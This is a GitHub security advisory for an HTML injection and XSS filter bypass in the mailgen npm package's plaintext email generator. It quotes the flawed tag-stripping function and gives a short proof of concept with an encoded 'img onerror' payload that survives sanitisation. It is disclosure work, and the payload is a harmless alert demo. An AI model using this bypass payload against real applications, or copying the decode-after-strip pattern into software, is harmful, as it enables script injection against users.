Skip to content

Mailgen has HTML Injection and XSS Filter Bypass in Plaintext Emails

Low severity GitHub Reviewed Published Oct 14, 2025 in eladnava/mailgen • Updated Oct 14, 2025

Package

npm mailgen (npm)

Affected versions

<= 2.0.30

Patched versions

2.0.31

Description

Summary

An HTML injection vulnerability in plaintext emails generated by Mailgen has been discovered. Your project is affected if you use the Mailgen.generatePlaintext(email) method and pass in user-generated content. The issue was discovered and reported by Edoardo Ottavianelli (@edoardottt).

Details

The following function (inside index.js) is intended to strip all HTML content to produce a plaintext string.

// Plaintext text e-mail generator
Mailgen.prototype.generatePlaintext = function (params) {
    // Plaintext theme not cached?
    if (!this.cachedPlaintextTheme) {
        throw new Error('An error was encountered while loading the plaintext theme.');
    }
   
    // Parse email params and get back an object with data to inject
    var ejsParams = this.parseParams(params);

    // Render the plaintext theme with ejs, injecting the data accordingly
    var output = ejs.render(this.cachedPlaintextTheme, ejsParams);

    // Definition of the <br /> tag as a regex pattern
    var breakTag = /(?:\<br\s*\/?\>)/g;
    var breakTagPattern = new RegExp(breakTag);

    // Check the plaintext for html break tag, maintains backwards compatiblity
    if (breakTagPattern.test(this.cachedPlaintextTheme)) {
        // Strip all linebreaks from the rendered plaintext
        output = output.replace(/(?:\r\n|\r|\n)/g, '');

        // Replace html break tags with linebreaks
        output = output.replace(breakTag, '\n');

        // Remove plaintext theme indentation (tabs or spaces in the beginning of each line)
        output = output.replace(/^(?: |\t)*/gm, "");
    }

    // Strip all HTML tags from plaintext output
    output = output.replace(/<.+?>/g, '');

    // Decode HTML entities such as &copy;
    output = he.decode(output);

    // All done!
    return output;
};

The process fails because it searches for HTML tags and attempts to strip them from the input. However, if the HTML tags are encoded, they are not removed. These encoded tags are then decoded later and become valid HTML content, which can lead to XSS vulnerabilities.

A valid payload is: &ltimg src=xyz onerror=alert(1)&gt.

PoC

var Mailgen = require('mailgen');

// Configure mailgen by setting a theme and your product info
var mailGenerator = new Mailgen({
    theme: 'default',
    product: {
        // Appears in header & footer of e-mails
        name: 'Mailgen',
        link: 'https://mailgen.js/'
        // Optional product logo
        // logo: 'https://mailgen.js/img/logo.png'
    }
});

var email = {
    body: {
        name: 'John &ltimg src=x onerror=alert(document.body.innerHTML)&gt Appleseed',
        intro: 'Welcome to Mailgen! We\'re very excited to have you on board.',
        action: {
            instructions: 'To get started with Mailgen, please click here:',
            button: {
                color: '#22BC66', // Optional action button color
                text: 'Confirm your account',
                link: 'secret-link'
            }
        },
        outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.'
    }
};

var emailText = mailGenerator.generatePlaintext(email);
require('fs').writeFileSync('emailText.html', emailText, 'utf8');

Resulting output file (emailText.html):

Hi John <img src=x onerror=alert(document.body.innerHTML)> Appleseed,

Welcome to Mailgen! We're very excited to have you on board.        

To get started with Mailgen, please click here:        
secret-link            

Need help, or have questions? Just reply to this email, we'd love to help.        

Yours truly,  
Mailgen

© 2025 Mailgen. All rights reserved.

Impact

Depending on the context/environment where the plaintext message is used, if HTML is rendered and executed can result in arbitrary code execution in the browser of the victim (potentially stealing secrets or sensitive information contained in the message).

Credits

Edoardo Ottavianelli (@edoardottt)

References

@eladnava eladnava published to eladnava/mailgen Oct 14, 2025
Published by the National Vulnerability Database Oct 14, 2025
Published to the GitHub Advisory Database Oct 14, 2025
Reviewed Oct 14, 2025
Last updated Oct 14, 2025

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2025-62366

GHSA ID

GHSA-xw6r-chmh-vpmj

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.